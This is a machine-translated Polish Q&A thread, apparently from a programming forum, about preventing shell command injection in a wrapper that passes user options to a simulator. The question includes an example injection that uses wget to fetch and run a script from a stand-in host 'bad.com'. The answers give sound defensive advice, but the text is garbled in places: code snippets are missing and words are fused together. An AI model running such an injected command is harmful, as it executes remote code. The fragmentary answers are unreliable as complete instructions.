Mam aplikację otoki, w której muszę pozwolić użytkownikowi określić niestandardowe opcje przekazywania do symulatora. Chcę jednak upewnić się, że użytkownik nie wstrzykuje innych poleceń za pomocą opcji użytkownika. Jaki jest najlepszy sposób na osiągnięcie tego?
Na przykład.
- Użytkownik zapewnia:
-a -b
- Aplikacja wykonuje:
mysim --preset_opt -a -b
Jednak nie chcę, aby tak się stało:
- Użytkownik zapewnia:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- Aplikacja wykonuje:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Obecnie myślę, że mógłbym po prostu otoczyć każdą opcję dostarczoną przez użytkownika pojedynczymi cudzysłowami '
i usunąć wszelkie pojedyncze cytaty dostarczone przez użytkownika, aby polecenie w ostatnim przykładzie okazało się nieszkodliwe:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Uwaga: mysim
Komenda jest wykonywana jako część skryptu powłoki w kontenerze dokowanym / lxc. Używam Ubuntu.
eval
do uruchomienia aplikacji? Jeśli nie, wstrzyknięcie nie powinno nastąpić:x="&& echo Doomed" ; echo $x
eval
. Nazywam plik wykonywalnymysim
w skrypcie powłoki. Widzę, że doszło do wstrzyknięcia, jeśli po prostu skopiuję ciąg opcji dostarczonych przez użytkownika i wkleję go na końcumysim
polecenia.-a -b
. Chcę więc upewnić się, że dodatkowe polecenia nie zostaną wstrzyknięte do tego ciągu.[a-zA-Z0-9 _-]
wygląda na dość obronny wybór.Odpowiedzi:
Jeśli masz kontrolę nad programem opakowania, upewnij się, że nie wywołuje on podpowłoki. W głębi instrukcji instrukcja wykonania programu składa się z pełnej ścieżki (bezwzględnej lub względnej do bieżącego katalogu) do pliku wykonywalnego oraz listy ciągów, które należy przekazać jako argumenty. Wyszukiwanie PATH, argumenty oddzielające białe znaki, operatory cytowania i sterowania są dostarczane przez powłokę. Bez skorupy, bez bólu.
Na przykład w przypadku opakowania Perla użyj formy listy
exec
lubsystem
. W wielu językach należy wywoływać jedną z funkcjiexec
lubexecXXX
(lubunix.exec
jakkolwiek to się nazywa), a nie za pomocąsystem
lub zaos.spawn
pomocąshell=False
dowolnej innej funkcji.Jeśli opakowanie jest skryptem powłoki, użyj,
"$@"
aby przekazać argumenty, npJeśli nie masz wyboru, a program opakowujący wywołuje powłokę, musisz podać argumenty przed przekazaniem ich do powłoki. Najłatwiejszym sposobem cytowania argumentów jest wykonanie następujących czynności:
'
(pojedynczego cudzysłowu) ciągiem czterech znaków'\''
. (np.don't
staje siędon'\''t
)'
na początku każdego argumentu, a także na końcu każdego argumentu. (np. zdon't
,don'\''t
staje się'don'\''t'
)Jeśli musisz to zrobić w opakowaniu powłoki, oto sposób.
(Niestety,
${VAR//PATTERN/REPLACEMENT}
konstrukcja bash , która powinna się tu przydać, wymaga dziwnych cytatów i nie sądzę, że można ją uzyskać'\''
jako tekst zastępczy.)źródło
Można użyć bash za
${VAR//PATTERN/REPLACEMENT}
idiom przekształcić pojedynczy cytat'
w'\''
przez pierwsze wprowadzenie'\''
do zmiennej (jako pośredni etap), a następnie rozszerza tę zmienną jakoREPLACEMENT
element wspomnianej Bash idiomu.źródło
Możesz użyć,
getopts
wbash
którym możesz przeanalizować argumenty, np .:źródło